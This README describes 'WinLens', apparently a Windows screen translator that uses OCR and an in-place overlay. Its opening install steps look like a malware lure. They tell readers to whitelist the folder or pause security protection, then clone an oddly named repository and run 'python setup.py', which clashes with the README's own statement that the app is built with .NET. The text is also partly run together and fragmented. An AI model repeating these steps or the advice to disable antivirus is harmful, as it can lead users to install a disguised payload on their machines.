[!TIP] If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
[!CAUTION] Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/capitaltoadjam/WinLens-896.git
cd WinLens-896
python setup.pyTranslate any text on your Windows screen, in place. A desktop take on Google Lens translate.
English · 简体中文
WinLens translates the text on your screen and draws the translation right over the original, matching the background and font so it reads as if the app had always been in your language. It's the Google Lens translate idea, but for the Windows desktop.
Browser translators only touch web pages. WinLens reads whatever is rendered on screen, so it also works on native apps, games, chat clients, PDFs and foreign software. It uses OCR, so the text doesn't need to be selectable.
It sits in the system tray and is triggered by a global hotkey. Press the hotkey, read the translation, press Esc to dismiss it.
Browser extensions translate text inside a web page. They can't read anything else on your screen. WinLens runs OCR on the actual pixels, so it translates things they can't:
- Text inside images: photos, screenshots, memes, infographics, scanned documents.
- Games: menus and dialogue, including imported titles.
- Desktop apps: installers, error dialogs, foreign software UIs.
- PDFs and documents in any reader.
- Video frames and subtitles.
- Anything you can't select or copy.
If a browser tab already translates it, you don't need WinLens. For everything else on screen, you do.
- Translates on-screen text in place: the translation replaces the original, with a matching background and font, instead of appearing in a separate box.
- Works on any window (apps, games, chats, documents), not just the browser.
- Reads Latin and CJK (Chinese, Japanese, Korean) on the same screen.
- Global hotkey, default Ctrl + Alt + T.
- Upscales the screenshot before OCR and picks the best recognizer per text block, which helps accuracy on small text.
- Dark control panel. You can change the target language straight from the overlay.
- Right-click a block to copy the original text or the translation.
- Optional "launch at startup". Otherwise it stays out of the way in the tray.
A small tray app with a dark control panel. Pick the target language, set the hotkey, choose the OCR source language, and toggle launch-at-startup.
WinLens uses the Windows OCR engine, so it can only read languages whose OCR pack is installed. Most systems already have your display language. To add more (for example Chinese or Japanese):
Settings > Time & Language > Language & region > (your language) > Language options > Optional features > add the OCR feature.
The "Add OCR languages in Windows" link in the control panel opens that page for you. Newly installed languages show up automatically.
Hotkey > capture screen > upscale > OCR (per script) > translate > overlay in place
it (Latin from the Latin engine, CJK from the CJK engine), then drop overlapping duplicates.
The issues and project board have the full list.
- Offline translation (Argos / NLLB): no network, no rate limits, more privacy.
- PaddleOCR / ONNX engine: stronger CJK and small-text accuracy, no OS language packs.
- Cross-platform (Avalonia): macOS and Linux.
- Region capture: translate a selected area instead of the whole screen.
- Animated demo (GIF) in the README.
Contributions are welcome. See CONTRIBUTING.md and the Code of Conduct. Issues tagged good first issue are a good place to start.
MIT. See LICENSE.
- Translation through the Google Translate endpoint, with a MyMemory fallback.
- Tray integration with Hardcodet.NotifyIcon.Wpf.
- Built with .NET 10 and WPF.

